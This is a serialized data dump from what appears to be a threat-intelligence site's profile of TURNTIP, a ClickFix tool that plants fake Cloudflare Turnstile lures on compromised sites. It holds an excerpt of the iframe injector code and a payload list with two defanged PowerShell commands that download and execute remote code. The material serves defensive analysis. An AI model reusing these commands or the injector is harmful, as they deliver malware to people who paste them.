0 128 128 0 0-128-88 0zm0 208l48 0 0 48-48 0 0-48zm-40-40l0 128 128 0 0-128-128 0zm88 208l0 48-48 0 0-48 48 0zm-48-40l-40 0 0 128 128 0 0-128-88 0zM400 64l48 0 0 48-48 0 0-48zM360 24l0 128 128 0 0-128-128 0zm88 208l0 48-48 0 0-48 48 0zm-48-40l-40 0 0 128 128 0 0-128-88 0zm0 208l48 0 0 48-48 0 0-48zm-40-40l0 128 128 0 0-128-128 0z",{"w":439,"h":420,"d":460},"M48 48l0 416 96 0 0-112 96 0 0 112 96 0 0-416-288 0zM0 0L384 0 384 512 0 512 0 0zM96 96l64 0 0 64-64 0 0-64zm192 0l0 64-64 0 0-64 64 0zM96 224l64 0 0 64-64 0 0-64zm192 0l0 64-64 0 0-64 64 0z",{"w":17,"h":420,"d":462},"M598.6 75.4L618 61.3 589.7 22.5C586 25.2 554.7 48 495.8 90.8l-34.1-22.7-6-4-145.2 0 0 0-144 0c-2.9 2.9-11.1 11.1-24.5 24.5-56.3-40.9-86.6-62.9-90.8-66.1L22.9 61.3c1.5 1.1 37.3 27.1 107.4 78.1l16.6 12.1c7.9-7.9 21.1-21.1 39.5-39.5l76.1 0-103 103-17 17c12.1 12.1 21.8 21.8 29.1 29.1 46.9 46.9 122.8 46.9 169.7 0L368.4 233.9 494.5 360c-16.7 16.7-29.4 29.4-38.1 38.1l-47-47-33.9 33.9 47 47-16 16-44.1 0-65-65-33.9 33.9 31 31-60.1 0-169-169-17-17-33.9 33.9 17 17 176 176 7 7 128 0 1 1 1-1 81.9 0 7-7c225.8-225.8 167.2-167.2 193-193l-33.9-33.9-64 64-143-143-17-17c-6.8 6.8-27.2 27.2-61.1 61.1-26.5 26.5-68.5 28-96.7 4.6l119.8-119.8 62.1 0 0 0 48.7 0c32.6 21.8 51.3 34.2 55.9 37.2l13.5-9.8 88-64z",{"w":425,"h":420,"d":464},"M352 96l224 0 0 224-48 0 0-142.1-191 191-17 17-17-17-111-111-139.8 139.8-17 17-33.9-33.9 17-17 156.8-156.8 17-17 17 17 111 111 174.1-174.1-142.1 0 0-48z",{"w":430,"h":420,"d":466},"M144 0l0 64 160 0 0-64 48 0 0 64 96 0 0 416-448 0 0-416 96 0 0-64 48 0zm0 112l-96 0 0 320 352 0 0-320-256 0zM261.6 228.2l84.1 12.2-60.9 59.3 14.4 83.8-75.2-39.6-75.2 39.6 14.4-83.8-60.9-59.3 84.1-12.2 37.6-76.2 37.6 76.2z",{"w":420,"h":420,"d":468},"M96 32l416 0 0 448-512 0 0-392 48 0 0 344 8 0c22.1 0 40-17.9 40-40L96 32zm38.4 400l329.6 0 0-352-320 0 0 312c0 14.4-3.5 28-9.6 40zM192 128l96 0 0 96-96 0 0-96zm152 48l72 0 0 48-96 0 0-48 24 0zM216 256l200 0 0 48-224 0 0-48 24 0zm0 80l200 0 0 48-224 0 0-48 24 0z",{"w":17,"h":420,"d":470},"M384 128a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm-176 0a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm252.8 76c5.9 2.6 12.4 4 19.2 4 26.5 0 48-21.5 48-48s-21.5-48-48-48l-.8 0c-1.6-16.6-5.8-32.4-12.1-47.1 4.2-.6 8.6-.9 12.9-.9 53 0 96 43 96 96s-43 96-96 96c-17.7 0-34.3-4.8-48.6-13.2 11.7-11.3 21.6-24.4 29.4-38.8zM208.6 242.8c-14.2 8.4-30.8 13.2-48.6 13.2-53 0-96-43-96-96s43-96 96-96c4.4 0 8.7 .3 12.9 .9-6.3 14.7-10.5 30.6-12.1 47.1l-.8 0c-26.5 0-48 21.5-48 48s21.5 48 48 48c6.8 0 13.3-1.4 19.2-4 7.8 14.4 17.7 27.5 29.4 38.8zM432 288l69.8 192-51.1 0-52.4-144-156.8 0-52.4 144-51.1 0 69.8-192 224 0zM151.2 304l-17.3 48-36.3 0-46.5 128-51.1 0 64-176 87.2 0zm354.8 48l-17.3-48 87.2 0 64 176-51.1 0-46.5-128-36.3 0z",{"w":425,"h":420,"d":472},"M144 354l-48 30 0-80-96 0 0-336 384 0 0 336-160 0-80 50zm0-56.6c43.5-27.2 65.6-41 66.2-41.4l125.8 0 0-240-288 0 0 240 96 0 0 41.4zM192 416l0-35.4 45.8-28.6 2.2 0 0 64 125.8 0c.6 .4 22.7 14.2 66.2 41.4l0-41.4 96 0 0-240-96 0 0-48 144 0 0 336-96 0 0 80-128-80-160 0 0-48zm0-340c-14.4 0-26.1 11.7-26.1 26.1l-40 0C125.9 65.6 155.5 36 192 36s66.1 29.6 66.1 66.1c0 29.7-17.7 46.9-33.3 55.6-4.5 2.5-8.9 4.8-12.9 6.2l-40 0 0-33.4c1.8-.2 3.6-.4 5.4-.6 9.7-1.1 19-2.1 27.9-7.1 7.5-4.2 12.9-10.1 12.9-20.8 0-14.4-11.7-26.1-26.1-26.1zM172 188l40 0 0 40-40 0 0-40z",{"id":474,"title":475,"aka":33,"body":476,"description":482,"extension":1021,"latest_detection":1022,"meta":1023,"name":1024,"navigation":552,"path":1025,"public_analysis":1026,"published":33,"samples":1035,"seo":1050,"stem":1051,"sub_techniques":1052,"targets":1054,"techniques":1056,"trends":1058,"type":1057,"updated":33,"__hash__":1060},"threatIntelligenceTools\u002Fthreat-intel\u002Fturntip\u002Fpublic.md","Public",{"type":477,"value":478,"toc":1012},"minimark",[479,483,488,491,496,500,505,517,849,868,940,945,949,956,964,968,974,978,984,1008],[480,481,482],"p",{},"TURNTIP is a malicious copy and paste attack tool that is based on injecting a fake Cloudflare\nTurnstile interstitial into compromised sites. Push has observed active development of this\ntool throughout 2025 and 2026 with several distinct evolutions to the loader in particular.",[484,485,487],"h2",{"id":486},"fake-cloudflare-turnstile-with-tooltip","Fake Cloudflare Turnstile with tooltip",[480,489,490],{},"Push named this threat after the distinctive help tooltip that's included in the execution prompt\ninstructions to ensure that victims can find the Windows meta key to open the run dialog.",[492,493],"image-grid",{":images":494,"title":495},"[{\"file\":\"turntip-pre-click.png\"},{\"file\":\"turntip-clicked.png\"},{\"file\":\"turntip-tooltip.png\"}]","TURNTIP fake turnstile",[484,497,499],{"id":498},"evolution-of-the-loader","Evolution of the loader",[501,502,504],"h3",{"id":503},"inline-iframe-injector-summer-autumn-2025","Inline iframe injector (summer - autumn 2025)",[480,506,507,508,512,513,516],{},"Compromised sites had a large, obfuscated inline script injected into their HTML. This script\noverlaid a full-screen iframe on top of the compromised site pointing to a ",[509,510,511],"code",{},".icu"," domain, with\nthe compromised site's hostname passed in a ",[509,514,515],{},"ref"," parameter so the lure could impersonate the\nsite the victim thought they were visiting.",[518,519,523],"pre",{"className":520,"code":521,"language":522,"meta":42,"style":42},"language-javascript shiki shiki-themes github-dark-default","const TARGET_URL = \"https:\u002F\u002Fncloud.icu\";\n\n(function createFullscreenIframe(targetUrl) {\n  \u002F\u002F ...\n\n  let lureUrl;\n  try {\n    const u = new URL(targetUrl);\n    u.searchParams.set(\"ref\", window.location.hostname);\n    lureUrl = u.toString();\n  } catch (e) {\n    const sep = targetUrl.includes(\"?\") ? \"&\" : \"?\";\n    lureUrl = targetUrl + sep + \"ref=\" + encodeURIComponent(window.location.hostname);\n  }\n\n  const iframe = document.createElement(\"iframe\");\n  iframe.setAttribute(\"loading\", \"eager\");\n  iframe.setAttribute(\"importance\", \"high\");\n  iframe.src = lureUrl;\n\n  \u002F\u002F ...\n})(TARGET_URL);\n","javascript",[509,524,525,548,554,576,583,588,597,606,626,643,661,673,711,741,747,752,777,799,818,828,833,838],{"__ignoreMap":42},[526,527,529,533,537,540,544],"span",{"class":528,"line":29},"line",[526,530,532],{"class":531},"suJrU","const",[526,534,536],{"class":535},"sFSAA"," TARGET_URL",[526,538,539],{"class":531}," =",[526,541,543],{"class":542},"s9uIt"," \"https:\u002F\u002Fncloud.icu\"",[526,545,547],{"class":546},"sZEs4",";\n",[526,549,550],{"class":528,"line":46},[526,551,553],{"emptyLinePlaceholder":552},true,"\n",[526,555,557,560,563,567,569,573],{"class":528,"line":556},3,[526,558,559],{"class":546},"(",[526,561,562],{"class":531},"function",[526,564,566],{"class":565},"sc3cj"," createFullscreenIframe",[526,568,559],{"class":546},[526,570,572],{"class":571},"sQhOw","targetUrl",[526,574,575],{"class":546},") {\n",[526,577,579],{"class":528,"line":578},4,[526,580,582],{"class":581},"sH3jZ","  \u002F\u002F ...\n",[526,584,586],{"class":528,"line":585},5,[526,587,553],{"emptyLinePlaceholder":552},[526,589,591,594],{"class":528,"line":590},6,[526,592,593],{"class":531},"  let",[526,595,596],{"class":546}," lureUrl;\n",[526,598,600,603],{"class":528,"line":599},7,[526,601,602],{"class":531},"  try",[526,604,605],{"class":546}," {\n",[526,607,609,612,615,617,620,623],{"class":528,"line":608},8,[526,610,611],{"class":531},"    const",[526,613,614],{"class":535}," u",[526,616,539],{"class":531},[526,618,619],{"class":531}," new",[526,621,622],{"class":565}," URL",[526,624,625],{"class":546},"(targetUrl);\n",[526,627,629,632,635,637,640],{"class":528,"line":628},9,[526,630,631],{"class":546},"    u.searchParams.",[526,633,634],{"class":565},"set",[526,636,559],{"class":546},[526,638,639],{"class":542},"\"ref\"",[526,641,642],{"class":546},", window.location.hostname);\n",[526,644,646,649,652,655,658],{"class":528,"line":645},10,[526,647,648],{"class":546},"    lureUrl ",[526,650,651],{"class":531},"=",[526,653,654],{"class":546}," u.",[526,656,657],{"class":565},"toString",[526,659,660],{"class":546},"();\n",[526,662,664,667,670],{"class":528,"line":663},11,[526,665,666],{"class":546},"  } ",[526,668,669],{"class":531},"catch",[526,671,672],{"class":546}," (e) {\n",[526,674,676,678,681,683,686,689,691,694,697,700,703,706,709],{"class":528,"line":675},12,[526,677,611],{"class":531},[526,679,680],{"class":535}," sep",[526,682,539],{"class":531},[526,684,685],{"class":546}," targetUrl.",[526,687,688],{"class":565},"includes",[526,690,559],{"class":546},[526,692,693],{"class":542},"\"?\"",[526,695,696],{"class":546},") ",[526,698,699],{"class":531},"?",[526,701,702],{"class":542}," \"&\"",[526,704,705],{"class":531}," :",[526,707,708],{"class":542}," \"?\"",[526,710,547],{"class":546},[526,712,714,716,718,721,724,727,729,732,735,738],{"class":528,"line":713},13,[526,715,648],{"class":546},[526,717,651],{"class":531},[526,719,720],{"class":546}," targetUrl ",[526,722,723],{"class":531},"+",[526,725,726],{"class":546}," sep ",[526,728,723],{"class":531},[526,730,731],{"class":542}," \"ref=\"",[526,733,734],{"class":531}," +",[526,736,737],{"class":565}," encodeURIComponent",[526,739,740],{"class":546},"(window.location.hostname);\n",[526,742,744],{"class":528,"line":743},14,[526,745,746],{"class":546},"  }\n",[526,748,750],{"class":528,"line":749},15,[526,751,553],{"emptyLinePlaceholder":552},[526,753,755,758,761,763,766,769,771,774],{"class":528,"line":754},16,[526,756,757],{"class":531},"  const",[526,759,760],{"class":535}," iframe",[526,762,539],{"class":531},[526,764,765],{"class":546}," document.",[526,767,768],{"class":565},"createElement",[526,770,559],{"class":546},[526,772,773],{"class":542},"\"iframe\"",[526,775,776],{"class":546},");\n",[526,778,780,783,786,788,791,794,797],{"class":528,"line":779},17,[526,781,782],{"class":546},"  iframe.",[526,784,785],{"class":565},"setAttribute",[526,787,559],{"class":546},[526,789,790],{"class":542},"\"loading\"",[526,792,793],{"class":546},", ",[526,795,796],{"class":542},"\"eager\"",[526,798,776],{"class":546},[526,800,802,804,806,808,811,813,816],{"class":528,"line":801},18,[526,803,782],{"class":546},[526,805,785],{"class":565},[526,807,559],{"class":546},[526,809,810],{"class":542},"\"importance\"",[526,812,793],{"class":546},[526,814,815],{"class":542},"\"high\"",[526,817,776],{"class":546},[526,819,821,824,826],{"class":528,"line":820},19,[526,822,823],{"class":546},"  iframe.src ",[526,825,651],{"class":531},[526,827,596],{"class":546},[526,829,831],{"class":528,"line":830},20,[526,832,553],{"emptyLinePlaceholder":552},[526,834,836],{"class":528,"line":835},21,[526,837,582],{"class":581},[526,839,841,844,847],{"class":528,"line":840},22,[526,842,843],{"class":546},"})(",[526,845,846],{"class":535},"TARGET_URL",[526,848,776],{"class":546},[480,850,851,852,855,856,860,861,864,865,867],{},"The lure page is a clone of the standard Cloudflare Turnstile interstitial, localised into\n60 languages off ",[509,853,854],{},"navigator.language",", with the compromised site's domain stamped into the\nchallenge text. The challenge's checkbox widget sits in a ",[857,858,859],"em",{},"second",", nested iframe loading\n",[509,862,863],{},"captcha.html"," from the same ",[509,866,511],{}," domain:",[518,869,873],{"className":870,"code":871,"language":872,"meta":42,"style":42},"language-html shiki shiki-themes github-dark-default","\u003Ciframe src=\"captcha.html\"\n        sandbox=\"allow-same-origin allow-scripts allow-popups\"\n        id=\"cf-chl-widget-u4boo\"\n        title=\"Widget containing a Cloudflare security challenge\"\n        style=\"border: none; overflow: hidden; width: 320px; height: 225px;\">\u003C\u002Fiframe>\n","html",[509,874,875,892,902,912,922],{"__ignoreMap":42},[526,876,877,880,884,887,889],{"class":528,"line":29},[526,878,879],{"class":546},"\u003C",[526,881,883],{"class":882},"sPWt5","iframe",[526,885,886],{"class":535}," src",[526,888,651],{"class":546},[526,890,891],{"class":542},"\"captcha.html\"\n",[526,893,894,897,899],{"class":528,"line":46},[526,895,896],{"class":535},"        sandbox",[526,898,651],{"class":546},[526,900,901],{"class":542},"\"allow-same-origin allow-scripts allow-popups\"\n",[526,903,904,907,909],{"class":528,"line":556},[526,905,906],{"class":535},"        id",[526,908,651],{"class":546},[526,910,911],{"class":542},"\"cf-chl-widget-u4boo\"\n",[526,913,914,917,919],{"class":528,"line":578},[526,915,916],{"class":535},"        title",[526,918,651],{"class":546},[526,920,921],{"class":542},"\"Widget containing a Cloudflare security challenge\"\n",[526,923,924,927,929,932,935,937],{"class":528,"line":585},[526,925,926],{"class":535},"        style",[526,928,651],{"class":546},[526,930,931],{"class":542},"\"border: none; overflow: hidden; width: 320px; height: 225px;\"",[526,933,934],{"class":546},">\u003C\u002F",[526,936,883],{"class":882},[526,938,939],{"class":546},">\n",[480,941,942,944],{},[509,943,863],{}," carries the clipboard hijacking code: clicking the checkbox hides\nit, shows a two-second fake \"Verifying…\" spinner, expands the widget, and reveals the\ninstructions whilst it also silently copies the payload to the victim's clipboard.",[501,946,948],{"id":947},"jsrepo-script-autumn-2025-spring-2026","jsrepo script (autumn 2025 - spring 2026)",[480,950,951,952,955],{},"Towards the end of 2025 a smaller bootstrap stage was added in front of the injector. It was\ndelivered as an inline script or, in some cases, inside script bundles belonging to the\ncompromised site's legitimate theme. It fetched the iframe-injection script from a third-party\nhost on a ",[509,953,954],{},"\u002Fjsrepo"," path - for example:",[518,957,962],{"className":958,"code":960,"language":961},[959],"language-text","hxxps:\u002F\u002Fgoveanrs[.]org\u002Fjsrepo?rnd=0.665645051079682&ts=1769722066949\n","text",[509,963,960],{"__ignoreMap":42},[501,965,967],{"id":966},"in-page-shadow-dom-hosting-spring-summer-2026","In-page shadow DOM hosting (spring - summer 2026)",[480,969,970,971,973],{},"The ",[509,972,954],{}," endpoint stopped serving an iframe injector and started serving the lure itself.\nThe iframe was dropped entirely; the fake Cloudflare challenge was now built in the compromised\npage, inside an shadow root to encapsulate it.",[501,975,977],{"id":976},"added-etherhiding-summer-2026","Added EtherHiding (summer 2026)",[480,979,980,981,983],{},"The threat actor introduced a step to retrieve the loader script from a public blockchain — a\ntechnique known as EtherHiding — giving them the ability to change the ",[509,982,954],{}," hostname,\nand the rest of the loader's logic, in a more resilient manner.",[985,986,987,991,997],"ul",{},[988,989,990],"li",{},"Chain: BNB Smart Chain testnet",[988,992,993,994],{},"Contract: ",[509,995,996],{},"0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437",[988,998,999,1000,1003,1004,1007],{},"Function selector: ",[509,1001,1002],{},"0x6d4ce63c"," (",[509,1005,1006],{},"get()",")",[1009,1010,1011],"style",{},"html pre.shiki code .suJrU, html code.shiki .suJrU{--shiki-default:#FF7B72}html pre.shiki code .sFSAA, html code.shiki .sFSAA{--shiki-default:#79C0FF}html pre.shiki code .s9uIt, html code.shiki .s9uIt{--shiki-default:#A5D6FF}html pre.shiki code .sZEs4, html code.shiki .sZEs4{--shiki-default:#E6EDF3}html pre.shiki code .sc3cj, html code.shiki .sc3cj{--shiki-default:#D2A8FF}html pre.shiki code .sQhOw, html code.shiki .sQhOw{--shiki-default:#FFA657}html pre.shiki code .sH3jZ, html code.shiki .sH3jZ{--shiki-default:#8B949E}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sPWt5, html code.shiki .sPWt5{--shiki-default:#7EE787}",{"title":42,"searchDepth":556,"depth":556,"links":1013},[1014,1015],{"id":486,"depth":46,"text":487},{"id":498,"depth":46,"text":499,"children":1016},[1017,1018,1019,1020],{"id":503,"depth":556,"text":504},{"id":947,"depth":556,"text":948},{"id":966,"depth":556,"text":967},{"id":976,"depth":556,"text":977},"md","2026-10",{},"TURNTIP","\u002Fthreat-intel\u002Fturntip\u002Fpublic",[1027,1031],{"url":1028,"title":1029,"publisher":1030},"https:\u002F\u002Fwww.levelblue.com\u002Fblogs\u002Fspiderlabs-blog\u002Fhow-clickfix-opens-the-door-to-stealthy-stealc-information-stealer","How ClickFix Opens the Door to Stealthy StealC Information Stealer","LevelBlue SpiderLabs",{"url":1032,"title":1033,"publisher":1034},"https:\u002F\u002Fwww.rapid7.com\u002Fblog\u002Fpost\u002Ftr-malicious-websites-wordpress-compromise-advances-global-stealer-operation\u002F","When Trusted Websites Turn Malicious: WordPress Compromises Advance Global Stealer Operation","Rapid7",[1036,1042,1046],{"date":1037,"urlscan":1038,"scheme":1039,"host":1040,"rest":1041},"2025-09-09","https:\u002F\u002Furlscan.io\u002Fresult\u002F01993089-3d45-74f8-9f43-3044d1f1baf0","hxxps:\u002F\u002F","www[.]insightvisioncenter[.]com","\u002F",{"date":1043,"urlscan":1044,"scheme":1039,"host":1045,"rest":1041},"2026-01-29","https:\u002F\u002Furlscan.io\u002Fresult\u002F019c0ba7-1600-772b-a0d3-519bb79445b8","wepro[.]ch",{"date":1047,"urlscan":1048,"scheme":1039,"host":1049,"rest":1041},"2026-09-08","https:\u002F\u002Furlscan.io\u002Fresult\u002F01a08121-6234-7694-ab59-40d473aacbb7","www[.]balancedprofessional[.]com",{"description":482},"turntip\u002Fpublic",[1053],"clickfix",[1055],"Windows",[1057],"malicious_copy_paste",{"2026-06":1059,"2026-07":1059,"2026-08":1059,"2026-09":1059},"high","Wky02GXyHYT5pN_9w1Gp4RQSxctXmwkcxMSi_pkle4s",{"id":1062,"extension":1063,"meta":1064,"payloads":1065,"stem":1071,"__hash__":1072},"threatIntelligencePayloads\u002Fthreat-intel\u002Fturntip\u002Fpayloads.yml","yml",{},[1066,1069],{"platform":1067,"command":1068},"windows","powershell -w h -nop -c iex(iwr -Uri 155[.]94[.]155[.]25 -UseBasicParsing)",{"platform":1067,"command":1070},"iex(irm hxxp:\u002F\u002F158[.]94[.]211[.]92\u002F?sid=1786168798064-2z9nrrv6 -UseBasicParsing)","turntip\u002Fpayloads","-7EFpRcxi8oivyeNp1HUypMtsPtr4ggpqPIPLxc9hMw",{"taxonomy":1074,"share":1115,"breakthroughRate":1124,"leaderboard":1144,"ratings":1177,"faqs":1197},{"techniques":1075,"subTechniques":1098},[1076,1082,1088,1093],{"id":1077,"label":1078,"aka":1079,"description":1080,"hex":1081},"credential_phishing","Credential phishing","MFA-bypass phishing, AiTM, BitM, BitB","MFA-bypassing phishing techniques that enable attackers to capture the password, the MFA code and the resulting session cookie.","#8FB7D9",{"id":1083,"label":1084,"aka":1085,"description":1086,"hex":1087},"authorization_phishing","Authorization phishing","device code phishing, consent phishing, ConsentFix","Phishing techniques that land post-authentication and trick the victim into granting authorization for an attacker to access their account, circumventing the login and MFA altogether (including passkeys).","#A9D18E",{"id":1057,"label":1089,"aka":1090,"description":1091,"hex":1092},"Malicious copy & paste","ClickFix, InstallFix, FileFix","The victim is tricked into copying a command from a fake error, CAPTCHA or \"fix\" page and pasting it into a terminal or Run dialog, executing malware themselves.","#AA95FF",{"id":1094,"label":1095,"aka":33,"description":1096,"hex":1097},"other","Other","Other includes blocked file downloads and miscellaneous items detected through custom detections.","#6FBF8F",[1099,1104,1109,1112],{"id":1100,"technique":1077,"label":1101,"short":1102,"description":1103},"aitm","Adversary-in-the-middle (AitM)","AitM","Proxies the user's inputs to the real sign-in page and intercepts credentials, MFA codes and the resulting session cookie.",{"id":1105,"technique":1077,"label":1106,"short":1107,"description":1108},"bitm","Browser-in-the-middle (BitM)","BitM","Uses desktop streaming software like noVNC to stream a remote browser into the victim's tab, so they log in to the genuine sign-in page for Microsoft, Google or another app on the attacker's device.",{"id":1110,"technique":1083,"label":141,"short":141,"description":1111},"device_code_phishing","The victim is tricked into entering an attacker-provided authorization code into the real device-code login page for an app, granting the attacker access to their account.",{"id":1053,"technique":1057,"label":1113,"short":1114,"description":1091},"ClickFix (malicious copy & paste)","ClickFix",{"asOf":1116,"windowMonths":556,"rows":1117},"2026-08",[1118,1120,1122,1123],{"id":1057,"label":1089,"aka":1090,"description":1091,"hex":1092,"pct":1119},50,{"id":1077,"label":1078,"aka":1079,"description":1080,"hex":1081,"pct":1121},32,{"id":1083,"label":1084,"aka":1085,"description":1086,"hex":1087,"pct":645},{"id":1094,"label":1095,"aka":33,"description":1096,"hex":1097,"pct":608},{"unit":1125,"series":1126},"attacks per 10,000 employees per month",[1127,1131,1135,1139],{"key":1128,"label":1129,"short":1130,"value":840},"2026-06","Jun 2026","Jun",{"key":1132,"label":1133,"short":1134,"value":835},"2026-07","Jul 2026","Jul",{"key":1116,"label":1136,"short":1137,"value":1138},"Aug 2026","Aug",41,{"key":1140,"label":1141,"short":1142,"value":1143},"2026-09","Sep 2026","Sep",33,[1145,1155,1161,1166,1169,1173,1175],{"key":1146,"label":1147,"short":1148,"slugs":1149},"2026-03","Mar 2026","Mar",[1150,1151,1152,1153,1154],"eviltokens","sneaky-2fa","flowerstorm","kali365","redlogin",{"key":1156,"label":1157,"short":1158,"slugs":1159},"2026-04","Apr 2026","Apr",[1151,1153,1152,1150,1160],"tycoon-2fa",{"key":1162,"label":1163,"short":1164,"slugs":1165},"2026-05","May 2026","May",[1153,1160,1150,1151,1154],{"key":1128,"label":1129,"short":1130,"slugs":1167},[1151,1150,1160,1168,1154],"xxevite",{"key":1132,"label":1133,"short":1134,"slugs":1170},[1151,1171,1150,1172,1154],"domdiffer","voidproxy",{"key":1116,"label":1136,"short":1137,"slugs":1174},[1171,1151,1150,1168,1153],{"key":1140,"label":1141,"short":1142,"slugs":1176},[1171,1172,1168,1154,1153],[1178,1182,1185,1189,1193],{"id":1179,"label":1180,"definition":1181},"extreme","Extreme","The tool is reaching users at the highest rate Push observes. Expect multiple attacks per month to break through to employees in a typical organization.",{"id":1059,"label":1183,"definition":1184},"High","The tool reaches users regularly. Attacks break through most months in a typical organization.",{"id":1186,"label":1187,"definition":1188},"moderate","Moderate","The tool reaches users at a steady but lower rate. Attacks break through intermittently rather than every month.",{"id":1190,"label":1191,"definition":1192},"emerging","Emerging","The tool has only recently started reaching users, or does so rarely. Too little history to establish a trend.",{"id":1194,"label":1195,"definition":1196},"inactive","Inactive","Push has not seen the tool reach a user this month. It remains tracked because tools often return after a pause.",[1198,1201,1204,1207],{"question":1199,"answer":1200},"What IoCs do you provide?","Each tool profile documents the patterns, behaviors and implementation details that identify it. We believe that this provides greater value than long lists of hostnames and IP addresses. However, we do also link to representative samples on urlscan.io, which include example domains and payloads.",{"question":1202,"answer":1203},"Do you supply a feed of malicious domains?","No. Attackers rotate phishing domains so quickly that a feed of past detections has little blocking value. Instead, we want to help researchers, incident responders and analysts identify the most prevalent browser attack tools and understand how they work.",{"question":1205,"answer":1206},"How are you naming the tools?","Tools are given their public kit name if known, but we identify many kits in our detections that have no public attribution. Some names are therefore internal codenames we use to track the kits. If you think one maps to a public kit, let us know.",{"question":1208,"answer":1209},"Can I submit my own domains?","Not yet. Push customers can contact us to check whether a URL matches a known tool.",[1211,1235,1241,1251],{"technique":1212,"subTechnique":1213,"tools":1214},{"id":1077,"label":1078,"aka":1079,"description":1080,"hex":1081},{"id":1100,"short":1102},[1215,1217,1219,1222,1225,1227,1229,1231,1233],{"slug":1171,"name":1216,"level":1179},"DOMDIFFER",{"slug":1152,"name":1218,"level":1186},"FlowerStorm",{"slug":1220,"name":1221,"level":1186},"greatness","Greatness",{"slug":1223,"name":1224,"level":1186},"nakedpages","NakedPages",{"slug":1154,"name":1226,"level":1059},"RedLogin",{"slug":1151,"name":1228,"level":1186},"Sneaky 2FA",{"slug":1160,"name":1230,"level":1194},"Tycoon 2FA",{"slug":1172,"name":1232,"level":1179},"VoidProxy",{"slug":1168,"name":1234,"level":1179},"XXEVITE",{"technique":1212,"subTechnique":1236,"tools":1237},{"id":1105,"short":1107},[1238],{"slug":1239,"name":1240,"level":1186},"laurseraph","Laurseraph",{"technique":1242,"subTechnique":1243,"tools":1244},{"id":1083,"label":1084,"aka":1085,"description":1086,"hex":1087},{"id":1110,"short":141},[1245,1247,1248,1250],{"slug":1150,"name":1246,"level":1186},"EvilTokens",{"slug":1220,"name":1221,"level":1186},{"slug":1153,"name":1249,"level":1059},"Kali365",{"slug":1160,"name":1230,"level":1194},{"technique":1252,"subTechnique":1253,"tools":1254},{"id":1057,"label":1089,"aka":1090,"description":1091,"hex":1092},{"id":1053,"short":1114},[1255,1258,1261],{"slug":1256,"name":1257,"level":1179},"errtraffic","ErrTraffic",{"slug":1259,"name":1260,"level":1059},"nochain","NOCHAIN",{"slug":1262,"name":1024,"level":1059},"turntip",1793113270271]